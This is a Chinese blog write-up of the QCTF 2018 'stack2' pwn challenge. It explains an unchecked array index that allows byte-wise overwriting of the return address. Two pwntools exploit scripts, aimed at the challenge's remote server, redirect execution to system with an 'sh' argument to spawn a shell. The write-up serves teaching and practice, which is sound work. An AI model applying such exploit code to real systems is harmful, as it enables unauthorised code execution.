pwn CTF 4th-QCTF-2018 stack2

先把程序跑一遍看看·~~~~~~~

然后我们好像可以 加数还有 改变数   4功能好像还是 求平均数的 ~~~~ 看来功能还是很齐全的吗~~~~

 然后我们

咦 这里的平均数为啥是  2.00呢 ~!~~~~  带着疑问去 看ida

这里好像没有什么毛病  限制了 输入的数量是99

然后往下看  

这里就是bug了    因为我们没有检查v13数组的边界 这里我们可以随意输入  然后劫持程序eip  

然后观察 哪里有system_addr   就ok了 但是 这里输入的是数字 好像有点麻烦

因为v13 是char 类型的数组 然后我们试着输入一下 

然后 去 栈 会发现 

这里其实应该能够注意得到  栈是小段模式  那么我们输入的时候 可以是 反着来  比如地址是 12345678  先输入78 45 34  12  

才能返回 正确的地址 然后 我们观察一下 哪里有我们system 的地址    

然后我们发现 本次(这个是会变化的  注意是我这次 运行的) 我们的返回地址FFCF77AC  而我们输入的地址是   FFCF7728  

那么偏移就是 0x84  然后之后我们找到 system_addr 就ok了  

然后就找到了  system_addr  

但是感觉这里/bin/bash 有点怪怪的啊~~~

先不管 我们试试 

 

#!/usr/bin/python
#coding:utf-8
 
from pwn import*

	



 
system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(va))
	io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr

write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)



io.sendline("5")
io.interactive()

如果你认为 到这就成功了  那就证明 你和我一样的单纯~~~~~~~~~~~~~~~~~~~~

竟然报错了 

纳尼??????????  本来我喜滋滋的准备cat flag 的  没有看到   没有找到那句话。。。。why??

/bin/bash 没有找到? ???????????????   emmmmmmmmmmmmmmmmmmmmmmm

有些奇怪 难道是 要/bin/sh???  按道理说 不应该啊  

然后我 就 无耻的翻了一下题解。。。。。。。。。。。。

这是官方放出的官方题解  https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

然后 这句话 亮了 

但是出题人在搭建docker环境时未注意,环境中只给了sh 

额   这个  emmmmm 比较可惜啊

没有办法  只能写入sh 了   值得一说的是   不能用原先的那个函数 

只能用本来的system  可以我们自己填参数的  

  

就是这个 

 这个也比较简单 直接放出exp

#!/usr/bin/python
#coding:utf-8
 
from pwn import*

	



 
system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(va))
	io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr  0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr  0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()

 

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 24
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 24
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值